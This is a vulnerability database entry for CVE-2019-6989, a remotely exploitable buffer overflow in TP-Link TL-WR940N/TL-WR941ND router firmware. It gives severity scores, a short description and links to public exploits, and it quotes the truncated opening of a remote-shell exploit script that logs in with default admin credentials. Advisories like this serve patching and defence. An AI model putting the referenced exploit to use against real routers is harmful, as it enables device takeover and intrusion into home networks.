Published: 06/06/2019 Updated: 24/08/2020

CVSS v2 Base Score: 9 | Impact Score: 10 | Exploitability Score: 8

CVSS v3 Base Score: 8.8 | Impact Score: 5.9 | Exploitability Score: 2.8

VMScore: 905

Vector: AV:N/AC:L/Au:S/C:C/I:C/A:C

TP-Link TL-WR940N is vulnerable to a stack-based buffer overflow, caused by improper bounds checking by the ipAddrDispose function. By sending specially crafted ICMP echo request packets, a remote authenticated attacker could overflow a buffer and execute arbitrary code on the system with elevated privileges.

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tp-link tl-wr940n_firmware -
tp-link tl-wr941nd_firmware -

#Author Grzegorz Wypych - h0rac # TP-LINK TL-WR940N/TL-WR941ND buffer overflow remote shell exploit import requests import md5 import base64 import string import struct import socket password = md5new('admin')hexdigest() cookie = base64b64encode('admin:'+password) print '[+] Authorization cookie: ', cookie print '[+] Login to generate user di ...

CWE-787 https://www.exploit-db.com/exploits/46678/http://packetstormsecurity.com/files/152458/TP-LINK-TL-WR940N-TL-WR941ND-Buffer-Overflow.html https://nvd.nist.gov https://www.exploit-db.com/exploits/46678

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CVE-2019-6989

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